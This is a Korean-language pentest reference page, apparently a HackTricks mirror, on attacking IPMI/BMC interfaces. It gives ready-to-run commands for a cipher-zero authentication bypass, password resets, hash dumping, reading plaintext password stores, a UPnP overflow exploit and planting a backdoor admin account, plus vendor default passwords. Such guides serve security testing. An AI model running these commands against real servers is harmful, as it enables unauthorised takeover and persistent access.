mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
146 lines
11 KiB
Markdown
146 lines
11 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로에서 영웅까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
|
|
|
</details>
|
|
|
|
## 기본 정보
|
|
|
|
### **IPMI 개요**
|
|
|
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**는 운영 체제나 전원 상태와 관계없이 컴퓨터 시스템의 원격 관리 및 모니터링을 표준화된 방식으로 제공합니다. 이 기술을 사용하면 시스템 관리자가 시스템을 원격으로 관리할 수 있으며, 시스템이 꺼져 있거나 응답하지 않을 때에도 특히 유용합니다. 다음과 같은 경우에 특히 유용합니다.
|
|
|
|
- Pre-OS 부팅 구성
|
|
- 전원 관리
|
|
- 시스템 장애 복구
|
|
|
|
IPMI는 온도, 전압, 팬 속도 및 전원 공급 장치를 모니터링하고, 인벤토리 정보를 제공하며, 하드웨어 로그를 검토하고, SNMP를 통해 경고를 보내는 기능을 제공합니다. 작동에 필요한 주요 요소는 전원 공급원과 LAN 연결입니다.
|
|
|
|
1998년 Intel에 의해 도입된 이후, IPMI는 다양한 공급업체에서 지원되어 원격 관리 기능을 향상시켰으며, 특히 버전 2.0에서는 LAN을 통한 시리얼 지원을 제공했습니다. 주요 구성 요소는 다음과 같습니다.
|
|
|
|
- **Baseboard Management Controller (BMC):** IPMI 작업을 위한 주요 마이크로 컨트롤러입니다.
|
|
- **통신 버스 및 인터페이스:** 내부 및 외부 통신을 위한 ICMB, IPMB 및 로컬 및 네트워크 연결용 다양한 인터페이스를 포함합니다.
|
|
- **IPMI 메모리:** 로그 및 데이터 저장을 위한 메모리입니다.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**기본 포트**: 623/UDP/TCP (보통 UDP에서 실행되지만 TCP에서 실행될 수도 있습니다)
|
|
|
|
## 열거
|
|
|
|
### 탐색
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
다음을 사용하여 **버전**을 **식별**할 수 있습니다:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### IPMI 취약점
|
|
|
|
IPMI 2.0의 영역에서, Dan Farmer에 의해 **암호 유형 0**을 통한 중대한 보안 취약점이 발견되었습니다. 이 취약점은 [Dan Farmer의 연구](http://fish2.com/ipmi/cipherzero.html)에서 자세히 설명되어 있으며, 유효한 사용자가 대상인 경우 어떤 비밀번호를 제공하더라도 무단 액세스를 가능하게 합니다. 이 취약점은 HP, Dell, Supermicro와 같은 제조업체의 다양한 BMC에서 발견되었으며, 모든 IPMI 2.0 구현에서 보편적인 문제임을 시사합니다.
|
|
|
|
### **Cipher 0를 통한 IPMI 인증 우회**
|
|
|
|
이 취약점을 탐지하기 위해 다음 Metasploit 보조 스캐너를 사용할 수 있습니다:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
이 취약점을 악용하기 위해 `ipmitool`을 사용하여 아래와 같이 시연할 수 있으며, 이를 통해 사용자 비밀번호의 목록화와 수정이 가능합니다:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **IPMI 2.0 RAKP 인증 원격 비밀번호 해시 검색**
|
|
|
|
이 취약점은 기존 사용자 이름에 대한 소금 처리된 해시된 비밀번호 (MD5 및 SHA1)를 검색할 수 있게 합니다. 이 취약점을 테스트하기 위해 Metasploit은 다음 모듈을 제공합니다:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **IPMI 익명 인증**
|
|
|
|
많은 BMC(Bare Metal Controller)에서 기본 구성으로 "익명" 액세스가 허용됩니다. 이는 사용자 이름과 비밀번호가 없는 문자열로 특징 지어집니다. 이 구성은 `ipmitool`을 사용하여 명명된 사용자 계정의 비밀번호를 재설정하는 데 악용될 수 있습니다:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Supermicro IPMI 평문 암호**
|
|
|
|
IPMI 2.0에서의 중요한 설계 선택 사항은 인증 목적으로 BMC 내에 평문 암호를 저장해야 한다는 것입니다. Supermicro는 이러한 암호를 `/nv/PSBlock` 또는 `/nv/PSStore`와 같은 위치에 저장하는 것으로 알려져 있으며, 이는 중대한 보안 문제를 일으킵니다:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Supermicro IPMI UPnP 취약점**
|
|
|
|
Supermicro의 IPMI 펌웨어에 포함된 UPnP SSDP 수신기는 특히 UDP 포트 1900에서 심각한 보안 위험을 초래합니다. Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 [Rapid7의 공개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)에 자세히 설명되어 있으며, BMC에 대한 루트 액세스를 허용합니다.
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### 무차별 대입 공격
|
|
|
|
**HP는 Integrated Lights Out (iLO)** 제품의 **기본 암호를 제조 과정에서 무작위로 설정**합니다. 이는 다른 제조업체와 대조적으로 **고정된 기본 자격 증명**을 사용하는 경향이 있는 것과 대조됩니다. 다양한 제품의 기본 사용자 이름과 암호에 대한 요약은 다음과 같습니다:
|
|
|
|
- **HP Integrated Lights Out (iLO)**는 **공장에서 무작위로 생성된 8자리 문자열**을 기본 암호로 사용하여 더 높은 보안 수준을 제공합니다.
|
|
- **Dell의 iDRAC, IBM의 IMM** 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 제품은 "calvin", "PASSW0RD" (0으로 대체), "admin"과 같이 쉽게 추측 가능한 암호를 사용합니다.
|
|
- 마찬가지로 **Supermicro IPMI (2.0), Oracle/Sun ILOM** 및 **ASUS iKVM BMC**도 간단한 기본 자격 증명을 사용하며, "ADMIN", "changeme", "admin"이 각각 암호로 사용됩니다.
|
|
|
|
|
|
## BMC를 통한 호스트 접근
|
|
|
|
Baseboard Management Controller (BMC)에 대한 관리 권한을 획득하면 호스트 운영 체제에 접근할 수 있는 다양한 경로가 열립니다. 간단한 접근 방법은 BMC의 키보드, 비디오, 마우스 (KVM) 기능을 악용하는 것입니다. 이는 호스트를 GRUB를 통해 루트 쉘로 재부팅하거나 구조용 디스크로 설정된 가상 CD-ROM에서 부팅하여 수행할 수 있습니다. 이러한 방법을 통해 호스트의 디스크를 직접 조작할 수 있으며, 백도어 삽입, 데이터 추출 또는 보안 평가에 필요한 모든 작업을 수행할 수 있습니다. 그러나 이는 호스트를 재부팅해야 하는 단점이 있습니다. 재부팅하지 않고 실행 중인 호스트에 접근하는 것은 더 복잡하며, 호스트의 구성에 따라 다양합니다. 호스트의 물리적 또는 직렬 콘솔이 로그인된 상태로 유지되면 BMC의 KVM 또는 serial-over-LAN (sol) 기능을 통해 쉽게 탈취될 수 있습니다. i2c 버스와 Super I/O 칩과 같은 공유 하드웨어 자원의 악용에 대한 탐색은 추가적인 조사가 필요한 분야입니다.
|
|
|
|
## 호스트에서 BMC로 백도어 삽입
|
|
|
|
BMC가 장착된 호스트를 침해한 후 **로컬 BMC 인터페이스를 활용하여 백도어 사용자 계정을 삽입**하여 서버에 지속적인 존재를 만들 수 있습니다. 이 공격은 침해된 호스트에 **`ipmitool`**이 설치되어 있고 BMC 드라이버 지원이 활성화되어 있는 경우에만 가능합니다. 다음 명령은 호스트의 로컬 인터페이스를 사용하여 BMC에 새 사용자 계정을 삽입하는 방법을 보여줍니다. 이 기술은 Linux, Windows, BSD 및 심지어 DOS를 포함한 다양한 운영 체제에 적용할 수 있습니다.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `포트:623`
|
|
|
|
## 참고 자료
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기법을 공유**하세요.
|
|
|
|
</details>
|